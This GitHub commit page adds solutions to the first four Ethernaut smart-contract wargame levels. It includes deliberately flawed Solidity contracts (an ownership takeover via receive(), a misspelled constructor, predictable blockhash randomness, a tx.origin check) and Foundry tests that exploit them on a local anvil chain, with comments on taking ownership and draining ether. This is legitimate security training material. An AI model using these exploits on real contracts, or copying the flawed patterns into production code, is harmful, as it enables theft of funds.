-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0xHUANG
authored and
0xHUANG
committed
Jan 11, 2025
1 parent
7bd437b
commit c460207
Showing
13 changed files
with
337 additions
and
57 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -12,3 +12,5 @@ docs/ | |
|
||
# Dotenv file | ||
.env | ||
|
||
.DS_Store |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
ds-test/=lib/solmate/lib/ds-test/src/ | ||
forge-std/=lib/forge-std/src/ | ||
solmate/=lib/solmate/src/ | ||
weird-erc20/=lib/weird-erc20/src/ | ||
@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/ |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Process: | ||
- Deploy Fallback contract in anvil: | ||
1. anvil | ||
1. forge create src/01_Fallback.sol:Fallback --rpc-url http://127.0.0.1:8545 --private-key 0x.... | ||
*/ | ||
|
||
contract Fallback { | ||
mapping(address => uint256) public contributions; | ||
address public owner; | ||
|
||
constructor() { | ||
owner = msg.sender; | ||
contributions[msg.sender] = 1000 * (1 ether); | ||
} | ||
|
||
modifier onlyOwner() { | ||
require(msg.sender == owner, "caller is not the owner"); | ||
_; | ||
} | ||
|
||
function contribute() public payable { | ||
require(msg.value < 0.001 ether); | ||
contributions[msg.sender] += msg.value; | ||
if (contributions[msg.sender] > contributions[owner]) { | ||
owner = msg.sender; | ||
} | ||
} | ||
|
||
function getContribution() public view returns (uint256) { | ||
return contributions[msg.sender]; | ||
} | ||
|
||
function withdraw() public onlyOwner { | ||
payable(owner).transfer(address(this).balance); | ||
} | ||
|
||
receive() external payable { | ||
require(msg.value > 0 && contributions[msg.sender] > 0); | ||
owner = msg.sender; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.6.0; | ||
|
||
import "@openzeppelin/contracts/math/SafeMath.sol"; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Process: | ||
- Install openzeppelin-contracts: forge install OpenZeppelin/[email protected] | ||
- Deploy Fallout contract in anvil: | ||
1. anvil | ||
1. forge create src/02_Fallout.sol:Fallout --rpc-url http://127.0.0.1:8545 --private-key 0x.... | ||
*/ | ||
|
||
contract Fallout { | ||
using SafeMath for uint256; | ||
|
||
mapping(address => uint256) allocations; | ||
address payable public owner; | ||
|
||
/* constructor */ | ||
function Fal1out() public payable { | ||
owner = msg.sender; | ||
allocations[owner] = msg.value; | ||
} | ||
|
||
modifier onlyOwner() { | ||
require(msg.sender == owner, "caller is not the owner"); | ||
_; | ||
} | ||
|
||
function allocate() public payable { | ||
allocations[msg.sender] = allocations[msg.sender].add(msg.value); | ||
} | ||
|
||
function sendAllocation(address payable allocator) public { | ||
require(allocations[allocator] > 0); | ||
allocator.transfer(allocations[allocator]); | ||
} | ||
|
||
function collectAllocations() public onlyOwner { | ||
msg.sender.transfer(address(this).balance); | ||
} | ||
|
||
function allocatorBalance(address allocator) public view returns (uint256) { | ||
return allocations[allocator]; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Process: | ||
- Deploy Fallout contract in anvil: | ||
1. anvil | ||
1. forge create src/03_CoinFlip.sol:CoinFlip --rpc-url http://127.0.0.1:8545 --private-key 0x.... | ||
*/ | ||
|
||
|
||
contract CoinFlip { | ||
uint256 public consecutiveWins; | ||
uint256 lastHash; | ||
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | ||
|
||
constructor() { | ||
consecutiveWins = 0; | ||
} | ||
|
||
function flip(bool _guess) public returns (bool) { | ||
uint256 blockValue = uint256(blockhash(block.number - 1)); | ||
|
||
if (lastHash == blockValue) { | ||
revert(); | ||
} | ||
|
||
lastHash = blockValue; | ||
uint256 coinFlip = blockValue / FACTOR; | ||
bool side = coinFlip == 1 ? true : false; | ||
|
||
if (side == _guess) { | ||
consecutiveWins++; | ||
return true; | ||
} else { | ||
consecutiveWins = 0; | ||
return false; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Process: | ||
- Deploy Fallout contract in anvil: | ||
1. anvil | ||
1. forge create src/04_Telephone.sol:Telephone --rpc-url http://127.0.0.1:8545 --private-key 0x.... | ||
*/ | ||
|
||
contract Telephone { | ||
address public owner; | ||
|
||
constructor() { | ||
owner = msg.sender; | ||
} | ||
|
||
function changeOwner(address _owner) public { | ||
if (tx.origin != msg.sender) { | ||
owner = _owner; | ||
} | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
import "ds-test/test.sol"; | ||
import "../src/01_Fallback.sol"; | ||
import "forge-std/Test.sol"; | ||
|
||
|
||
/* | ||
Author: @BoscoHuang | ||
Attack Process: | ||
- Invoke `contribute` function, send `msg.value < 0.001 ether` | ||
- Then, send `msg.value > 0` to the contract directly | ||
- Trigger `receive`, and become the owner | ||
- At last, invoke `withdraw` function to drain all the ether. | ||
Command: | ||
- forge test --match-contract FallbackTest --fork-url http://127.0.0.1:8545 -vvv | ||
*/ | ||
|
||
contract FallbackTest is DSTest{ | ||
Fallback Ethernaut01; | ||
|
||
function setUp() public { | ||
Ethernaut01 = Fallback(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Fallback address in anvil | ||
|
||
} | ||
|
||
function testEthernaut01() public { | ||
console.log("Ethernaut01 owner:", Ethernaut01.owner()); // Owner is the contract deployer | ||
|
||
Ethernaut01.contribute{value: 1 wei}(); | ||
Ethernaut01.getContribution(); | ||
|
||
(bool success, ) = address(Ethernaut01).call{value: 1 wei}(""); | ||
require(success, "Call failed"); | ||
|
||
assert(address(this) == Ethernaut01.owner()); // Attacker become the owner | ||
Ethernaut01.withdraw(); | ||
} | ||
|
||
receive() external payable {} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.6.0; | ||
|
||
import "ds-test/test.sol"; | ||
import "forge-std/Test.sol"; | ||
import "../src/02_Fallout.sol"; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Attack Process: | ||
- Firstly, we noted that the Solidity compiler version is `< 0.8.x`. This means that the is susceptible to arithmetic underflow and overflow errors. | ||
- This contract imported and used OpenZeppelin [`SafeMath`](https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath) Lib, so there should be no overflow issues with this contract. | ||
- Prior to Solidity version `0.4.22`, the only way to define a constructor for a contract was to define a function with the same name as the contract itself. | ||
- The name of the contract is `Fallout`, but the constructor is called `Fal1out`. Because of this typo, when the contract is deployed, the constructor is never executed at creation time and the owner is never updated. | ||
Command: | ||
- forge test --match-contract FalloutTest --fork-url http://127.0.0.1:8545 -vvv | ||
*/ | ||
|
||
contract FalloutTest is DSTest { | ||
Fallout Ethernaut02; | ||
|
||
function setUp() public { | ||
Ethernaut02 = Fallout(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Fallout address in anvil | ||
} | ||
|
||
function testEthernaut02() public { | ||
console.log("Ethernaut02 owner:", Ethernaut02.owner()); // Owner is zero address | ||
|
||
Ethernaut02.Fal1out(); | ||
|
||
assert(address(this) == Ethernaut02.owner()); // Attacker becomes the owner | ||
|
||
console.log("Ethernaut02 owner:", Ethernaut02.owner()); | ||
} | ||
|
||
receive() external payable {} | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.0; | ||
|
||
import "ds-test/test.sol"; | ||
import "forge-std/Test.sol"; | ||
import "../src/03_CoinFlip.sol"; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Attack Process: | ||
As you see, the solution is pretty straightforward. Loop until the | ||
`consecutiveWins()` getter tell us we have reached `10`. | ||
Inside the loop we calculate the value to pass to `flip` replicating the same logic of the `CoinFlip.flip` function. | ||
Command: | ||
- forge test --match-contract CoinFlipTest --fork-url http://127.0.0.1:8545 -vvv | ||
*/ | ||
|
||
contract CoinFlipTest is DSTest { | ||
CoinFlip Ethernaut03; | ||
|
||
function setUp() public { | ||
Ethernaut03 = CoinFlip(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // CoinFlip address in anvil | ||
} | ||
|
||
function testEthernaut03() public { | ||
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | ||
|
||
uint256 blockValue = uint256(blockhash(block.number - 1)); | ||
|
||
uint256 coinFlip = blockValue / FACTOR; | ||
|
||
bool side = coinFlip == 1 ? true : false; | ||
|
||
Ethernaut03.flip(side); | ||
|
||
console.log("Consecutive Wins: ", Ethernaut03.consecutiveWins()); | ||
|
||
} | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.0; | ||
|
||
import "ds-test/test.sol"; | ||
import "forge-std/Test.sol"; | ||
import "../src/04_Telephone.sol"; | ||
|
||
/* | ||
Author: @BoscoHuang | ||
Attack Process: | ||
- The `changeOwner` function is vulnerable to a transaction origin attack. | ||
- The `tx.origin` is the address of the account that initiated the transaction. | ||
Command: | ||
- forge test --match-contract TelephoneTest --fork-url http://127.0.0.1:8545 -vvv | ||
*/ | ||
|
||
contract TelephoneTest is DSTest { | ||
Telephone Ethernaut04; | ||
|
||
function setUp() public { | ||
Ethernaut04 = Telephone(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Telephone address in anvil | ||
} | ||
|
||
function testEthernaut04() public { | ||
console.log("Ethernaut04 owner:", Ethernaut04.owner()); // Owner is zero address | ||
|
||
Ethernaut04.changeOwner(address(this)); | ||
|
||
assert(address(this) == Ethernaut04.owner()); // Attacker becomes the owner | ||
|
||
console.log("Ethernaut04 owner:", Ethernaut04.owner()); | ||
} | ||
} | ||
|
Oops, something went wrong.